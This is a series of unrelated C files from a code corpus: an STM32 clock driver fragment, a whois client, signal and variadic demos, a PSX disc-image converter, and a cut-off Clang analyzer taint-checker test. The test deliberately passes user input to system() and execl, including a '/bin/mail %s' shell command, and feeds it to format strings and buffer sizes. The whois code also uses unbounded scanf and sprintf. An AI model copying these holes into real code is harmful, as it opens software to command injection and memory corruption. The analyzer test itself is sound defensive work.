LL_RCC_PERIPH_FREQUENCY_NO; /* Check parameter */ assert_param(IS_LL_RCC_LPTIM_CLKSOURCE(LPTIMxSource)); if (LPTIMxSource == LL_RCC_LPTIM1_CLKSOURCE) { /* LPTIM1CLK clock frequency */ switch (LL_RCC_GetLPTIMClockSource(LPTIMxSource)) { case LL_RCC_LPTIM1_CLKSOURCE_LSI: /* LPTIM1 Clock is LSI Osc. */ if (LL_RCC_LSI_IsReady()) { lptim_frequency = LSI_VALUE; } break; case LL_RCC_LPTIM1_CLKSOURCE_HSI: /* LPTIM1 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { lptim_frequency = HSI_VALUE; } break; case LL_RCC_LPTIM1_CLKSOURCE_LSE: /* LPTIM1 Clock is LSE Osc. */ if (LL_RCC_LSE_IsReady()) { lptim_frequency = LSE_VALUE; } break; case LL_RCC_LPTIM1_CLKSOURCE_PCLK1: /* LPTIM1 Clock is PCLK1 */ default: lptim_frequency = RCC_GetPCLK1ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } } return lptim_frequency; } #if defined(USB) /** * @brief Return USBx clock frequency * @param USBxSource This parameter can be one of the following values: * @arg @ref LL_RCC_USB_CLKSOURCE * @retval USB clock frequency (in Hz) * @arg @ref LL_RCC_PERIPH_FREQUENCY_NO indicates that oscillator (HSI48) or PLL is not ready * @arg @ref LL_RCC_PERIPH_FREQUENCY_NA indicates that no clock source selected */ uint32_t LL_RCC_GetUSBClockFreq(uint32_t USBxSource) { uint32_t usb_frequency = LL_RCC_PERIPH_FREQUENCY_NO; /* Check parameter */ assert_param(IS_LL_RCC_USB_CLKSOURCE(USBxSource)); /* USBCLK clock frequency */ switch (LL_RCC_GetUSBClockSource(USBxSource)) { case LL_RCC_USB_CLKSOURCE_PLL: /* PLL clock used as USB clock source */ if (LL_RCC_PLL_IsReady()) { usb_frequency = RCC_PLL_GetFreqDomain_SYS(); } break; case LL_RCC_USB_CLKSOURCE_HSI48: /* HSI48 clock used as USB clock source */ default: if (LL_RCC_HSI48_IsReady()) { usb_frequency = HSI48_VALUE; } break; } return usb_frequency; } #endif /* USB */ /** * @} */ /** * @} */ /** @addtogroup RCC_LL_Private_Functions * @{ */ /** * @brief Return SYSTEM clock frequency * @retval SYSTEM clock frequency (in Hz) */ uint32_t RCC_GetSystemClockFreq(void) { uint32_t frequency = 0U; /* Get SYSCLK source -------------------------------------------------------*/ switch (LL_RCC_GetSysClkSource()) { case LL_RCC_SYS_CLKSOURCE_STATUS_MSI: /* MSI used as system clock source */ frequency = __LL_RCC_CALC_MSI_FREQ(LL_RCC_MSI_GetRange()); break; case LL_RCC_SYS_CLKSOURCE_STATUS_HSI: /* HSI used as system clock source */ frequency = HSI_VALUE; break; case LL_RCC_SYS_CLKSOURCE_STATUS_HSE: /* HSE used as system clock source */ frequency = HSE_VALUE; break; case LL_RCC_SYS_CLKSOURCE_STATUS_PLL: /* PLL used as system clock source */ frequency = RCC_PLL_GetFreqDomain_SYS(); break; default: frequency = __LL_RCC_CALC_MSI_FREQ(LL_RCC_MSI_GetRange()); break; } return frequency; } /** * @brief Return HCLK clock frequency * @param SYSCLK_Frequency SYSCLK clock frequency * @retval HCLK clock frequency (in Hz) */ uint32_t RCC_GetHCLKClockFreq(uint32_t SYSCLK_Frequency) { /* HCLK clock frequency */ return __LL_RCC_CALC_HCLK_FREQ(SYSCLK_Frequency, LL_RCC_GetAHBPrescaler()); } /** * @brief Return PCLK1 clock frequency * @param HCLK_Frequency HCLK clock frequency * @retval PCLK1 clock frequency (in Hz) */ uint32_t RCC_GetPCLK1ClockFreq(uint32_t HCLK_Frequency) { /* PCLK1 clock frequency */ return __LL_RCC_CALC_PCLK1_FREQ(HCLK_Frequency, LL_RCC_GetAPB1Prescaler()); } /** * @brief Return PCLK2 clock frequency * @param HCLK_Frequency HCLK clock frequency * @retval PCLK2 clock frequency (in Hz) */ uint32_t RCC_GetPCLK2ClockFreq(uint32_t HCLK_Frequency) { /* PCLK2 clock frequency */ return __LL_RCC_CALC_PCLK2_FREQ(HCLK_Frequency, LL_RCC_GetAPB2Prescaler()); } /** * @brief Return PLL clock frequency used for system domain * @retval PLL clock frequency (in Hz) */ uint32_t RCC_PLL_GetFreqDomain_SYS(void) { uint32_t pllinputfreq = 0U, pllsource = 0U; /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL divider) * PLL Multiplicator */ /* Get PLL source */ pllsource = LL_RCC_PLL_GetMainSource(); switch (pllsource) { case LL_RCC_PLLSOURCE_HSI: /* HSI used as PLL clock source */ pllinputfreq = HSI_VALUE; break; case LL_RCC_PLLSOURCE_HSE: /* HSE used as PLL clock source */ pllinputfreq = HSE_VALUE; break; default: pllinputfreq = HSI_VALUE; break; } return __LL_RCC_CALC_PLLCLK_FREQ(pllinputfreq, LL_RCC_PLL_GetMultiplicator(), LL_RCC_PLL_GetDivider()); } /** * @} */ /** * @} */ #endif /* defined(RCC) */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/162644478.c
// C program for writing // struct to file #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> // a struct to read and write struct person { int id; char fname[20]; char lname[20]; }; int main () { FILE *outfile; printf("sizeof(person)=%ld\n", sizeof(struct person)); printf("sizeof(int)=%ld\n", sizeof(int)); // open file for writing outfile = fopen ("person.dat", "w"); if (outfile == NULL) { fprintf(stderr, "\nError opend file\n"); exit (1); } struct person input1 = {htonl(1), "rohan", "sharma"}; struct person input2 = {htonl(2), "mahendra", "dhoni"}; struct person input3 = {htonl(3), "Sonny", "Tzu"}; // write struct to file fwrite (&input1, sizeof(struct person), 1, outfile); fwrite (&input2, sizeof(struct person), 1, outfile); fwrite (&input3, sizeof(struct person), 1, outfile); if(fwrite != 0) printf("contents to file written successfully !\n"); else printf("error writing file !\n"); // close file fclose (outfile); return 0; }
the_stack_data/90765166.c
#include<stdio.h> //scanf , printf #include<string.h> //strtok #include<stdlib.h> //realloc #include<sys/socket.h> //socket #include<netinet/in.h> //sockaddr_in #include<arpa/inet.h> //getsockname #include<netdb.h> //hostent #include<unistd.h> //close void get_whois(char *ip, char **data); int whois_query(char *server, char *query, char **response); int hostname_to_ip(char * hostname, char* ip); int main(int argc, char *argv[]) { char ip[100], *data = NULL; printf("Enter ip address to whois : "); scanf("%s", ip); get_whois(ip, &data); printf("\n\n"); puts(data); free(data); return 0; } /** Get the whois content of an ip by selecting the correct server */ void get_whois(char *ip, char **data) { char *wch = NULL, *pch, *response = NULL; if (whois_query("whois.iana.org", ip, &response)) { printf("Whois query failed"); } pch = strtok(response, "\n"); while (pch != NULL) { //Check if whois line wch = strstr(pch, "whois."); if (wch != NULL) { break; } //Next line please pch = strtok(NULL, "\n"); } if (wch != NULL) { printf("\nWhois server is : %s", wch); whois_query(wch, ip, data); } else { *data = malloc(100); strcpy(*data, "No whois data"); } return; } /* * Perform a whois query to a server and record the response * */ int whois_query(char *server, char *query, char **response) { char ip[32], message[100], buffer[1500]; int sock, read_size, total_size = 0; struct sockaddr_in dest; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Prepare connection structures :) memset(&dest, 0, sizeof (dest)); dest.sin_family = AF_INET; printf("\nResolving %s...", server); if (hostname_to_ip(server, ip)) { printf("Failed"); return 1; } printf("%s", ip); dest.sin_addr.s_addr = inet_addr(ip); dest.sin_port = htons(43); //Now connect to remote server if (connect(sock, (const struct sockaddr*) &dest, sizeof (dest)) < 0) { perror("connect failed"); } //Now send some data or message printf("\nQuerying for ... %s ...", query); sprintf(message, "%s\r\n", query); if (send(sock, message, strlen(message), 0) < 0) { perror("send failed"); } //Now receive the response while ((read_size = recv(sock, buffer, sizeof (buffer), 0))) { *response = realloc(*response, read_size + total_size); if (*response == NULL) { printf("realloc failed"); } memcpy(*response + total_size, buffer, read_size); total_size += read_size; } printf("Done"); fflush(stdout); *response = realloc(*response, total_size + 1); *(*response + total_size) = '\0'; close(sock); return 0; } /* * @brief * Get the ip address of a given hostname * * */ int hostname_to_ip(char * hostname, char* ip) { struct hostent *he; struct in_addr **addr_list; int i; if ((he = gethostbyname(hostname)) == NULL) { // get the host info herror("gethostbyname"); return 1; } addr_list = (struct in_addr **) he->h_addr_list; for (i = 0; addr_list[i] != NULL; i++) { //Return the first one; strcpy(ip, inet_ntoa(*addr_list[i])); return 0; } return 0; }
the_stack_data/122478.c
#include <stdio.h> #include <stdlib.h> void show_arr(int *a, int l) { int i; for (i = 0; i != l; i++) { printf("%d,", a[i]); } printf("\n"); } int main() { int len = 1000 * 1000 + 1; int *a = malloc(sizeof(int) * len), s = 0; int lena, lenb, i; char c; for (i = lena = 0; (c = getchar()) != '\n'; i++, lena++) { s += c == '1'; a[i] = s; } show_arr(a, lena); s = 0; for (lenb = 0; (c = getchar()) != '\n'; lenb++) { s += c == '1'; } s %= 2; printf("%d\n", s); int r; for (i = r = 0; i != lena - lenb; i++) { r += ((a[i + lenb] - a[i]) % 2) == s; } printf("%d\n", r); free(a); return 0; }
the_stack_data/48575265.c
// %%cpp pipoquwa.c // %run gcc -g pipoquwa.c -o pipoquwa.exe // %run ./pipoquwa.exe #include <unistd.h> #include <stdio.h> #include <signal.h> #include <assert.h> #include <sys/types.h> #include <sys/wait.h> int main() { sigset_t full_mask; sigfillset(&full_mask); sigprocmask(SIG_BLOCK, &full_mask, NULL); int parent_pid = getpid(); int child_pid = fork(); assert(child_pid >= 0); if (child_pid == 0) { while (1) { siginfo_t info; sigwaitinfo(&full_mask, &info); // вместо sigsuspend и обработчика int received_signal = info.si_signo; int received_value = info.si_value.sival_int; if (received_signal == SIGUSR1) { printf("Child process: Pong (get %d, send %d)\n", received_value, received_value * 2); fflush(stdout); // вместе с сигналом передаем число sigqueue(parent_pid, SIGUSR1, (union sigval) {.sival_int = received_value * 2 }); } else { printf("Child process finish\n"); fflush(stdout); return 0; } } } else { int child_response = 100; for (int i = 0; i < 3; ++i) { printf("Parent process: Ping (got %d, send %d)\n", child_response, child_response + 1); fflush(stdout); sigqueue(child_pid, SIGUSR1, (union sigval) {.sival_int = child_response + 1 }); siginfo_t info; sigwaitinfo(&full_mask, &info); child_response = info.si_value.sival_int; } printf("Parent process: Request child finish\n"); fflush(stdout); kill(child_pid, SIGINT); int status; waitpid(child_pid, &status, 0); } return 0; }
the_stack_data/703440.c
/* Example of a Variadic Function Copyright (C) 1991-2012 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, if not, see <http://www.gnu.org/licenses/>. */ #include <stdarg.h> #include <stdio.h> int add_em_up (int count,...) { va_list ap; int i, sum; va_start (ap, count); /* Initialize the argument list. */ sum = 0; for (i = 0; i < count; i++) sum += va_arg (ap, int); /* Get the next argument value. */ va_end (ap); /* Clean up. */ return sum; } int main (void) { /* This call prints 16. */ printf ("%d\n", add_em_up (3, 5, 5, 6)); /* This call prints 55. */ printf ("%d\n", add_em_up (10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)); return 0; }
the_stack_data/6387690.c
#include <stdio.h> int main(int argc, char *argv[]) { int index = atoi(argv[1]); char **ptr = argv + index; char *str = *ptr; return 0; }
the_stack_data/6386518.c
// this is a mashup of hitmen's iso2raw.c // and nocash's psx-spx pseudocode: http://nocash.emubase.de/psx-spx.htm // mashup applied by GreaseMonkey /* PSX Images need to be Mode2/XA 2352, which fortunatly can be represented by traditional bin/cue images. However, mkisofs generates plain 2048bytes/sector images - this tool converts them into the proper format that can be burned. example: mkisofs -volid PLAYSTATION -sysid PLAYSTATION -appid PLAYSTATION -o psx.iso files/ iso2raw nolicence psx.iso */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <sys/stat.h> typedef int BOOL; #define TRUE 1 #define FALSE 0 static BOOL BuildCueFile (char *rawFile, char *cueFile) { FILE *fp; char buf[10 * 1024]; if (!rawFile || !cueFile) return FALSE; fp = fopen (cueFile, "w"); if (!fp) { printf ("ERROR: Failed to create cue file.\n"); return FALSE; } (void) sprintf (buf, "FILE \"%s\" BINARY\n", rawFile); fputs (buf, fp); fputs (" TRACK 01 MODE2/2352\n INDEX 01 00:00:00\n", fp); fclose (fp); return TRUE; } uint32_t edc_table[256]; int GF8_LOG[256]; int GF8_ILOG[256]; int GF8_PRODUCT[43][256]; int subfunc(int a, int b) { if(a>0) { a=GF8_LOG[a]-b; if(a<0) a += 255; a=GF8_ILOG[a]; } return(a); } void init_tables(void) { int i, j; // standard "fast-CRC" LUT except with a different polynomial for(i=0; i <= 0xFF; i++) { uint32_t x = i; for(j = 0; j <= 7; j++) { uint32_t carry = x&1; x >>= 1; if(carry) x ^= 0xD8018001; } edc_table[i]=x; } GF8_LOG[0x00]=0x00; GF8_ILOG[0xFF]=0x00; int x=0x01; for(i=0x00; i <= 0xFE; i++) { GF8_LOG[x]=i; GF8_ILOG[i]=x; int carry8bit = x&0x80; x <<= 1; if(carry8bit) x ^= 0x1D; x &= 0xFF; } for(j=0; j <= 42; j++) { int xx = GF8_ILOG[44-j]; int yy = subfunc(xx ^ 1,0x19); xx = subfunc(xx,0x01); xx = subfunc(xx ^ 1,0x18); xx = GF8_LOG[xx]; yy = GF8_LOG[yy]; GF8_PRODUCT[j][0]=0x0000; for(i=0x01; i <= 0xFF; i++) { int x=xx+GF8_LOG[i]; int y=yy+GF8_LOG[i]; if(x>=255) x -= 255; if(y>=255) y -= 255; GF8_PRODUCT[j][i]=GF8_ILOG[x]+(GF8_ILOG[y] << 8); } } } void calc_parity(uint8_t *sector, int offs, int len, int j0, int step1, int step2) { int i, j; int src=0x00c; int dst=0x81c+offs; int srcmax=dst; for(i = 0; i <= len-1; i++) { int base=src, x=0x0000, y=0x0000; for(j=j0; j <= 42; j++) { x ^= GF8_PRODUCT[j][sector[src+0]]; y ^= GF8_PRODUCT[j][sector[src+1]]; src += step1; if((step1 == 2*44) && (src>=srcmax)) src -= 2*1118; } sector[dst+2*len+0]=x & 0x0FF; sector[dst+0]=x >> 8; sector[dst+2*len+1]=y & 0x0FF; sector[dst+1]=y >> 8; dst += 2; src = base + step2; } } void calc_p_parity(uint8_t *sector) { calc_parity(sector,0,43,19,2*43,2); } void calc_q_parity(uint8_t *sector) { calc_parity(sector,43*4,26,0,2*44,2*43); } void adjust_edc(uint8_t *addr, int len) { int i; uint32_t x=0x00000000; for(i=0; i <= len-1; i++) { x ^= (uint32_t)(uint8_t)addr[i]; x = (x>>8) ^ edc_table[x & 0xFF]; } //append EDC value (little endian) addr[0*4+len+0] = x >> 0; addr[0*4+len+1] = x >> 8; addr[0*4+len+2] = x >> 16; addr[0*4+len+3] = x >> 24; } static BOOL Iso2Raw (char *isoFile, char *rawFile) { FILE *fp1; FILE *fp2; unsigned char sec[16+8+2048+4+276]; unsigned char *sub = &sec[16]; unsigned char *buf = &sec[16+8]; unsigned char *edc = &sec[16+8+2048]; unsigned char *ecc = &sec[16+8+2048+4]; unsigned int out; int c; int thesec = 2*75; char dog[10]; (void) memset (sec, 0xFF, 16); sec[0x000] = 0; sec[0x00B] = 0; sec[0x00C] = 0; sec[0x00D] = 2; sec[0x00E] = 0; sec[0x00F] = 2; (void) memset (sub, 0x00, 8); (void) memset (edc, 0x01, 4); (void) memset (ecc, 0x02, 280); fp1 = fopen (isoFile, "rb"); if (!fp1) { printf ("ERROR: Failed to open ISO file for reading.\n"); return FALSE; } fp2 = fopen (rawFile, "wb"); if (!fp2) { printf ("ERROR: Failed to create raw ISO file.\n"); return FALSE; } while (1) { c = fread (buf, sizeof (unsigned char), 2048, fp1); if (!c) break; sec[0x00C] = (thesec/75)/60; sec[0x00D] = (thesec/75)%60; sec[0x00E] = thesec%75; adjust_edc(sec+0x10,0x800+8); // temporarily clear header uint8_t oldhdr[4]; memcpy(oldhdr, &sec[0x00C], 4); memset(&sec[0x00C], 0, 4); calc_p_parity(sec); calc_q_parity(sec); memcpy(&sec[0x00C], oldhdr, 4); // -restore header fwrite (sec, sizeof (unsigned char), 16, fp2); fwrite (sub, sizeof (unsigned char), 8, fp2); fwrite (buf, sizeof (unsigned char), 2048, fp2); fwrite (edc, sizeof (unsigned char), 4, fp2); fwrite (ecc, sizeof (unsigned char), 276, fp2); thesec++; } fclose (fp2); fclose (fp1); return TRUE; } static BOOL CopyLicence (char *licFile, char *rawFile) { FILE *fp1; FILE *fp2; unsigned char buf[2352]; int a = 0; struct stat sinfo; if (!licFile || !rawFile) return FALSE; fp1 = fopen (licFile, "rb"); if (!fp1) { printf ("ERROR: Failed to open licence file for reading.\n"); return FALSE; } if (stat (licFile, &sinfo) != -1) { if (sinfo.st_size != (16 * 2352)) { fclose (fp1); printf ("ERROR: Licence file specified is the incorrect size.\n"); return FALSE; } } fp2 = fopen (rawFile, "r+b"); if (!fp2) { printf ("ERROR: Failed to open raw ISO image file for writing.\n"); return FALSE; } if (stat (rawFile, &sinfo) != -1) { div_t dinfo; dinfo = div (sinfo.st_size, 2352); if (dinfo.rem != 0) { fclose (fp1); fclose (fp2); printf ("ERROR: The raw ISO file is not a multiple of 2352 bytes.\n"); return FALSE; } } fseek (fp2, 0, SEEK_SET); while (1) { int c = fread (buf, sizeof (unsigned char), 2352, fp1); if (!c) break; fseek (fp2, a, SEEK_SET); fwrite (buf, sizeof (unsigned char), c, fp2); a += c; } fclose (fp1); fclose (fp2); return TRUE; } static BOOL IsISOValid (char *isoFile) { FILE *fp; unsigned char buf[128]; int c; struct stat sinfo; fp = fopen (isoFile, "rb"); if (!fp) { printf ("ERROR: Failed to open ISO image file.\n"); return FALSE; } c = fread (buf, sizeof (unsigned char), 32, fp); if (c != 32) { fclose (fp); printf ("ERROR: Invalid mkisofs ISO image, file too small.\n"); return FALSE; } if (buf[0] == 0x00 && buf[1] == 0xFF && buf[2] == 0xFF && buf[3] == 0xFF && buf[4] == 0xFF && buf[5] == 0xFF && buf[6] == 0xFF && buf[7] == 0xFF && buf[8] == 0xFF && buf[9] == 0xFF && buf[10] == 0xFF && buf[11] == 0x00 && buf[12] == 0x00 && buf[14] == 0x00) { fclose (fp); printf ("ERROR: ISO image already has Raw Sector information.\n"); return FALSE; } fclose (fp); if (stat (isoFile, &sinfo) != -1) { if ((sinfo.st_size % 2048) != 0) { printf ("ERROR: ISO file specified is not 2048 bytes per sector.\n"); return FALSE; } } // XXX Would like to validate if the ISO has // version numbers enabled // and if it is mode1/mode2 etc etc... // could even check if there is a system.cnf file! return TRUE; } static BOOL PatchIso (char *licFile, char *rawFile) { if (!CopyLicence (licFile, rawFile)) return FALSE; return TRUE; } int main (int argc, char *argv[]) { char *licFile; char *isoFile; char *temp; char *infile; char *cueFile; char *rawFile; int licence = 1; printf ("---------------------------------\n"); printf ("ISO9660 2048->2352 converter tool\n"); printf ("---------------------------------\n\n"); if (argc < 2) { printf ("Wrong number of argument.\n\tUsage: iso2raw licence isofile.iso\n\t\tIf you don't want to merge a licence file, write nolicence\n"); exit (1); } infile = malloc (1024); strcpy (infile, argv[2]); printf ("Input file: %s\n", infile); rawFile = malloc (1024); strcpy (rawFile, infile); strcat (rawFile, ".bin"); // NO$PSX doesn't actually check the filename properly and assumes bin printf ("Output file: %s\n", rawFile); cueFile = malloc (1024); strcpy (cueFile, infile); strcat (cueFile, ".cue"); printf ("Cue file: %s\n", cueFile); if (!strcmp (argv[1], "nolicence")) licence = 0; else { licFile = argv[1]; printf ("Licence file: %s\n", licFile); } if (!IsISOValid (infile)) exit (1); init_tables(); if (!Iso2Raw (infile, rawFile)) exit (1); if (licence) if (!PatchIso (licFile, rawFile)) exit (1); if (!BuildCueFile (rawFile, cueFile)) exit (1); printf ("Done \"%s\".\n", cueFile); }
the_stack_data/4848.c
/* cpu1_main.c */ /* ------------------------------------------------------------------------- */ /* file create procedure */ /* (1) cc cpu1_main.c -> cpu1_main */ /* */ /* (2) hexdump (xxd) cpu1_main -> sm05c1m.xxd (main-routine image) */ /* */ /* Note: cpu1_main is created as relocatable ... */ /* ------------------------------------------------------------------------- */ #define MSG_AREA 0x8100 /* AIC register */ #define AIC_ILEVEL 0xabcd0508 /* reference aic.vhd line 173 */ int main( ) { int sum = 0; volatile int *ptr_i; /* instead of i */ volatile int *ptr1, *ptr2; ptr1 = ((int *)MSG_AREA) + 11; *ptr1 = 11; /* set cpu1 AIC */ ptr2 = (int *)AIC_ILEVEL; *ptr2 = 0x00006000; /* set ilevel(3) non zero */ ptr_i = ((int *)MSG_AREA) + 7; for((*ptr_i) = 0; ((*ptr_i) < 5001); (*ptr_i)++) { sum = sum + (*ptr_i); } ptr1 = ((int *)MSG_AREA) + 3; *ptr1 = sum; ptr1 = ((int *)MSG_AREA) + 4; *ptr1 = 1; /* infinite loop */ while (1) { } }
the_stack_data/35085.c
int *p = &(int){0}; extern int *q; int main() { *q = 5; assert(*p == 0); }
the_stack_data/140766287.c
int canCompleteCircuit(int* gas, int gasSize, int* cost, int costSize) { if (gasSize != costSize) return -1; int i, tank = 0, sum = 0, ans = 0; for (i = 0; i < gasSize; i++) { sum += gas[i] - cost[i]; tank += gas[i] - cost[i]; /* if sum < 0 then start over */ if (sum < 0) { ans = i + 1; sum = 0; } } return tank >= 0 ? ans : -1; }
the_stack_data/3262140.c
// RUN: %clang_analyze_cc1 -Wno-format-security -verify %s \ // RUN: -analyzer-checker=alpha.security.taint \ // RUN: -analyzer-checker=core \ // RUN: -analyzer-checker=alpha.security.ArrayBoundV2 \ // RUN: -analyzer-config \ // RUN: alpha.security.taint.TaintPropagation:Config=%S/Inputs/taint-generic-config.yaml // RUN: %clang_analyze_cc1 -Wno-format-security -verify %s \ // RUN: -DFILE_IS_STRUCT \ // RUN: -analyzer-checker=alpha.security.taint \ // RUN: -analyzer-checker=core \ // RUN: -analyzer-checker=alpha.security.ArrayBoundV2 \ // RUN: -analyzer-config \ // RUN: alpha.security.taint.TaintPropagation:Config=%S/Inputs/taint-generic-config.yaml // RUN: not %clang_analyze_cc1 -verify %s \ // RUN: -analyzer-checker=alpha.security.taint \ // RUN: -analyzer-config \ // RUN: alpha.security.taint.TaintPropagation:Config=justguessit \ // RUN: 2>&1 | FileCheck %s -check-prefix=CHECK-INVALID-FILE // CHECK-INVALID-FILE: (frontend): invalid input for checker option // CHECK-INVALID-FILE-SAME: 'alpha.security.taint.TaintPropagation:Config', // CHECK-INVALID-FILE-SAME: that expects a valid filename instead of // CHECK-INVALID-FILE-SAME: 'justguessit' // RUN: not %clang_analyze_cc1 -verify %s \ // RUN: -analyzer-checker=alpha.security.taint \ // RUN: -analyzer-config \ // RUN: alpha.security.taint.TaintPropagation:Config=%S/Inputs/taint-generic-config-ill-formed.yaml \ // RUN: 2>&1 | FileCheck %s -check-prefix=CHECK-ILL-FORMED // CHECK-ILL-FORMED: (frontend): invalid input for checker option // CHECK-ILL-FORMED-SAME: 'alpha.security.taint.TaintPropagation:Config', // CHECK-ILL-FORMED-SAME: that expects a valid yaml file: {{[Ii]}}nvalid argument // RUN: not %clang_analyze_cc1 -verify %s \ // RUN: -analyzer-checker=alpha.security.taint \ // RUN: -analyzer-config \ // RUN: alpha.security.taint.TaintPropagation:Config=%S/Inputs/taint-generic-config-invalid-arg.yaml \ // RUN: 2>&1 | FileCheck %s -check-prefix=CHECK-INVALID-ARG // CHECK-INVALID-ARG: (frontend): invalid input for checker option // CHECK-INVALID-ARG-SAME: 'alpha.security.taint.TaintPropagation:Config', // CHECK-INVALID-ARG-SAME: that expects an argument number for propagation // CHECK-INVALID-ARG-SAME: rules greater or equal to -1 int scanf(const char *restrict format, ...); char *gets(char *str); int getchar(void); typedef struct _FILE FILE; #ifdef FILE_IS_STRUCT extern struct _FILE *stdin; #else extern FILE *stdin; #endif #define bool _Bool int fscanf(FILE *restrict stream, const char *restrict format, ...); int sprintf(char *str, const char *format, ...); void setproctitle(const char *fmt, ...); typedef __typeof(sizeof(int)) size_t; // Define string functions. Use builtin for some of them. They all default to // the processing in the taint checker. #define strcpy(dest, src) \ ((__builtin_object_size(dest, 0) != -1ULL) \ ? __builtin___strcpy_chk (dest, src, __builtin_object_size(dest, 1)) \ : __inline_strcpy_chk(dest, src)) static char *__inline_strcpy_chk (char *dest, const char *src) { return __builtin___strcpy_chk(dest, src, __builtin_object_size(dest, 1)); } char *stpcpy(char *restrict s1, const char *restrict s2); char *strncpy( char * destination, const char * source, size_t num ); char *strndup(const char *s, size_t n); char *strncat(char *restrict s1, const char *restrict s2, size_t n); void *malloc(size_t); void *calloc(size_t nmemb, size_t size); void bcopy(void *s1, void *s2, size_t n); #define BUFSIZE 10 int Buffer[BUFSIZE]; void bufferScanfDirect(void) { int n; scanf("%d", &n); Buffer[n] = 1; // expected-warning {{Out of bound memory access }} } void bufferScanfArithmetic1(int x) { int n; scanf("%d", &n); int m = (n - 3); Buffer[m] = 1; // expected-warning {{Out of bound memory access }} } void bufferScanfArithmetic2(int x) { int n; scanf("%d", &n); int m = 100 - (n + 3) * x; Buffer[m] = 1; // expected-warning {{Out of bound memory access }} } void bufferScanfAssignment(int x) { int n; scanf("%d", &n); int m; if (x > 0) { m = n; Buffer[m] = 1; // expected-warning {{Out of bound memory access }} } } void scanfArg() { int t = 0; scanf("%d", t); // expected-warning {{format specifies type 'int *' but the argument has type 'int'}} } void bufferGetchar(int x) { int m = getchar(); Buffer[m] = 1; //expected-warning {{Out of bound memory access (index is tainted)}} } void testUncontrolledFormatString(char **p) { char s[80]; fscanf(stdin, "%s", s); char buf[128]; sprintf(buf,s); // expected-warning {{Uncontrolled Format String}} setproctitle(s, 3); // expected-warning {{Uncontrolled Format String}} // Test taint propagation through strcpy and family. char scpy[80]; strcpy(scpy, s); sprintf(buf,scpy); // expected-warning {{Uncontrolled Format String}} stpcpy(*(++p), s); // this generates __inline. setproctitle(*(p), 3); // expected-warning {{Uncontrolled Format String}} char spcpy[80]; stpcpy(spcpy, s); setproctitle(spcpy, 3); // expected-warning {{Uncontrolled Format String}} char *spcpyret; spcpyret = stpcpy(spcpy, s); setproctitle(spcpyret, 3); // expected-warning {{Uncontrolled Format String}} char sncpy[80]; strncpy(sncpy, s, 20); setproctitle(sncpy, 3); // expected-warning {{Uncontrolled Format String}} char *dup; dup = strndup(s, 20); setproctitle(dup, 3); // expected-warning {{Uncontrolled Format String}} } int system(const char *command); void testTaintSystemCall() { char buffer[156]; char addr[128]; scanf("%s", addr); system(addr); // expected-warning {{Untrusted data is passed to a system call}} // Test that spintf transfers taint. sprintf(buffer, "/bin/mail %s < /tmp/email", addr); system(buffer); // expected-warning {{Untrusted data is passed to a system call}} } void testTaintSystemCall2() { // Test that snpintf transfers taint. char buffern[156]; char addr[128]; scanf("%s", addr); __builtin_snprintf(buffern, 10, "/bin/mail %s < /tmp/email", addr); system(buffern); // expected-warning {{Untrusted data is passed to a system call}} } void testTaintSystemCall3() { char buffern2[156]; int numt; char addr[128]; scanf("%s %d", addr, &numt); __builtin_snprintf(buffern2, numt, "/bin/mail %s < /tmp/email", "abcd"); system(buffern2); // expected-warning {{Untrusted data is passed to a system call}} } void testGets() { char str[50]; gets(str); system(str); // expected-warning {{Untrusted data is passed to a system call}} } void testTaintedBufferSize() { size_t ts; scanf("%zd", &ts); int *buf1 = (int*)malloc(ts*sizeof(int)); // expected-warning {{Untrusted data is used to specify the buffer size}} char *dst = (char*)calloc(ts, sizeof(char)); //expected-warning {{Untrusted data is used to specify the buffer size}} bcopy(buf1, dst, ts); // expected-warning {{Untrusted data is used to specify the buffer size}} __builtin_memcpy(dst, buf1, (ts + 4)*sizeof(char)); // expected-warning {{Untrusted data is used to specify the buffer size}} // If both buffers are trusted, do not issue a warning. char *dst2 = (char*)malloc(ts*sizeof(char)); // expected-warning {{Untrusted data is used to specify the buffer size}} strncat(dst2, dst, ts); // no-warning } #define AF_UNIX 1 /* local to host (pipes) */ #define AF_INET 2 /* internetwork: UDP, TCP, etc. */ #define AF_LOCAL AF_UNIX /* backward compatibility */ #define SOCK_STREAM 1 int socket(int, int, int); size_t read(int, void *, size_t); int execl(const char *, const char *, ...); void testSocket() { int sock; char buffer[100]; sock = socket(AF_INET, SOCK_STREAM, 0); read(sock, buffer, 100); execl(buffer, "filename", 0); // expected-warning {{Untrusted data is passed to a system call}} sock = socket(AF_LOCAL, SOCK_STREAM, 0); read(sock, buffer, 100); execl(buffer, "filename", 0); // no-warning sock = socket(AF_INET, SOCK_STREAM, 0); // References to both buffer and &buffer as an argument should taint the argument read(sock, &buffer, 100); execl(buffer, "filename", 0); // expected-warning {{Untrusted data is passed to a system call}} } void testStruct() { struct { char buf[16]; int length; } tainted; char buffer[16]; int sock; sock = socket(AF_INET, SOCK_STREAM, 0); read(sock, &tainted, sizeof(tainted)); __builtin_memcpy(buffer, tainted.buf, tainted.length); // expected-warning {{Untrusted data is used to specify the buffer size}} } void testStructArray() { struct { int length; } tainted[4]; char dstbuf[16], srcbuf[16]; int sock; sock = socket(AF_INET, SOCK_STREAM, 0); __builtin_memset(srcbuf, 0, sizeof(srcbuf)); read(sock, &tainted[0], sizeof(tainted)); __builtin_memcpy(dstbuf, srcbuf, tainted[0].length); // expected-warning {{Untrusted data is used to specify the buffer size}} __builtin_memset(&tainted, 0, sizeof(tainted)); read(sock, &tainted, sizeof(tainted)); __builtin_memcpy(dstbuf, srcbuf, tainted[0].length); // expected-warning {{Untrusted data is used to specify the buffer size}} __builtin_memset(&tainted, 0, 